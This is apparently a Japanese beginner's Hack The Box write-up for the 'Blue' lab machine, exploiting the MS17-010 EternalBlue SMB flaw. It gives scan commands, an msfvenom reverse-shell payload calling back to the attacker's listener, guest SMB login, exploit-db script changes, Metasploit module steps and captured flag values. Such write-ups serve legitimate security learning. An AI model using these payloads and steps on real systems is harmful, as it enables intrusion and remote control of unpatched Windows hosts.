2
0

More than 1 year has passed since last update.

初心者の為のhack the box100本ノック~その2:blue(easy)~

Last updated at Posted at 2020-10-31

初めに

こんにちは!
100本ノックシリーズはセキュリティ初心者でも分かる様、なるべく詳しく解説することを目指したシリーズです!
用語解説などは折り畳みで解説しているので、見てみてください。

それでは今回もよろしくお願いします~

目次

・初めに
・挑戦するマシン
・1.情報収集
・2.下準備
・3.シェルの取得
・4.user.txtとroot.txtの取得
・おまけ
・最後に
・参考にさせていただいたサイト

挑戦するマシン

今回挑戦するマシンはblueです。
htb_blue_rating.png

かの有名な脆弱性、ms17-010を持ったマシンで、攻撃に使われたソフトは「Eternal Blue」と呼ばれています。
マシンとしての難易度は非常に簡単で、metasploitを用いれば一瞬で終わってしまう為、今回は使わない方法を使います。
(MetasploitFrameworkが自動でやってくれることを手動でやるだけです。)
おまけとして、最後にmsfconsoleから攻撃する方法も簡単に記して置きます。

Eternal Blueとは EternalBlueは、Windowsのファイル共有プロトコルの実装に関する脆弱性を攻撃するためのソフトで、標的のコンピュータ上で任意のコードを実行できるようにします。
2017年に暗号化型ランサムウェア「WannaCry」で利用されたことで有名になりました。
実際に起こっていることを簡単に言うと、[FEA](https://ja.wikipedia.org/wiki/拡張ファイル属性)(拡張ファイル属性)がNTFEA(windows NT FEA)に変換されるときに、構造的欠陥によりFEAのサイズが元のサイズより大きくなってしまう場合があり、バッファオーバーフローが発生しています。
(より詳しく知りたい方は[トレンドマイクロセキュリティブログ](https://blog.trendmicro.co.jp/archives/15154)や[CHECK POINT RESERACH(英語サイト)](https://research.checkpoint.com/2017/eternalblue-everything-know/)を見てみてください)

1.情報収集

初めにいつもの様にnmapスキャン

kali@kali:~$ nmap -sC -sV -Pn 10.10.10.40
nmapオプション1 ```-sC```:デフォルトスクリプトを用いてスキャン ```-sV```:バージョン検出 ```-Pn```:ping無しでスキャン

scan_default.png

smbのプロトコルのversionが古いため(参考)smbに関する脆弱性を疑ってみます。なので、445番ポート(SMB)に対して、脆弱性のスキャンを行います。

kali@kali:~$ nmap --script=*smb-vuln* -p 445 10.10.10.40

scan_smb-vuln.png

nmapオプション2 ```--script=*smb-vuln*```:「smb-vuln」スクリプトを実行。以下の画像のリストの脆弱性の有無を確認する ![list_smb-vuln.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686089/0e36f36c-541d-ba9b-7cb5-45809a81ebc1.png) ```-p 445```:スキャン対象にポート445を指定

想像通り、ms17-010の脆弱性が存在しました。
EXPOIT DATABASEからexploitを探します。
今回はこの下の画像のexploit(https://www.exploit-db.com/exploits/42315 )を利用します。

eternalblue_exploit.png

2.下準備

これから使うファイル類を準備しておきます。
42315:exploit本体、ダウンロードしておく
mysmb.py:上のexploitを動かす為に必要なモジュール、同じフォルダにダウンロードしておく
(impacket,pipもないなら入れてください)

impacket,pipの入れ方
impacket
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip install
pip
sudo apt install python-pip
・リバースシェル用のペイロード:msfvenomコマンドで作成 (msf使ってるやんっていうツッコミは無しで…)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.xx LPORT=1234 -f exe > blue.exe
msfvenomのオプション ```-p```:使用するペイロードを指定。```--payload```と同じ ```-f exe```:フォーマットにexeを指定。```--format=exe```と同じ

上の3つが準備出来たら、最後にexploitのコードを2箇所変更して準備完了です。
・Usernameをguestに
42315_changepoint1.png

username,passwordの調査 この42315スクリプトを動かすには、SMBにアクセスできるUsernameとPasswordが必要です。 smbmapとsmbclientを使って調査をしてみます。
kali@kali:~$ smbmap -u guest -H 10.10.10.40

(smbmap -u <username> -H <host>)
blue_smbmap.png

これによってusername:"guest"は、ShareとUsersに対してread onlyでアクセスできることが分かりました。smbclientでログインしてみます。

ashley@kali:~/htb/blue$ smbclient -U guest \\\\10.10.10.40\\Users
Enter WORKGROUP\guest's password: 
Try "help" to get a list of possible commands.
smb: \> 

passwordを空白でログインしたところ、ログインに成功しました。これで42315スクリプトが動かせます。

・smb_pwn関数で定義されているデフォルトのペイロードをmsfvenomで作成したペイロードに変更
42315_changepoint2.png

3.シェルの取得

通信をnetcatで待ち受けます。

nc -nvlp 1234

42314を実行します。

python 42314 10.10.10.40

本来はこれでroot権限が取れるはずですが、netBIOSTimeoutによって失敗…
色々試したのですが、原因がどうしてもわからない為一旦blueは保留にします……
ここから先は、ここでroot権限が取れたものとして解説します。
(pwn自体はmsfconsoleを用いて成功しました)

4.user.txtとroot.txtの取得

root権限が取得できたので、後はuser.txtとroot.txtをwhereコマンドを使って探します。

C:\>where /r \ "user.txt"
C:\Users\haris\Desktop\user.txt

C:\>more \Users\haris\Desktop\user.txt
4c546aea7dbee75cbd71de245c8deea9

C:\>where /r \ "root.txt"
C:\Users\Administrator\Desktop\root.txt

C:\>more \Users\Administrator\Desktop\root.txt
ff548eb71e920ff6c08843ce9df4e71

whereコマンドについて whereコマンドはlinuxにおけるfindやwhichを合わせたようなコマンドで 引数に指定された名前と一致するファイルを呼び出してくれます。 ```/r```:検索対象のディレクトリを指定、デフォルトではカレントディレクトリと環境変数PATHの指すディレクトリが指定されている。

Pwned!

おまけ(metasploit使ったver)

nmapでms17-010脆弱性を特定した後からroot権限の取得まで、実行したコマンドのみ

kali@kali:~$ msfconsole
msf5 > search ms17-010
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.10.40
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.14.xx
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

最後に

netBIOSTimeoutの原因がどうしてもわからなかった…
下に吐かれたエラーを張っておくので、心当たりのある方は教えていただければ幸いです…
気を取り直して、次は同じく難易度easyの「Lame」に挑戦する予定です。
それでは!
Blue_netBIOSTimeout.png

参考にさせていただいたサイト

Qiita@yukitsukai47『Hack The Box[Blue] -Writeup- without metasploit
トレンドマイクロセキュリティブログ『「WannaCry」を拡散させた脆弱性攻撃「EternalBlue」の仕組みを解説
CHECK POINT RESERACH『EternalBlue – Everything There Is To Know
Red Team Tutorials『Hack The Box: Blue
とある社畜の頭脳整理『SMBプロトコルのバージョンを調べる

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0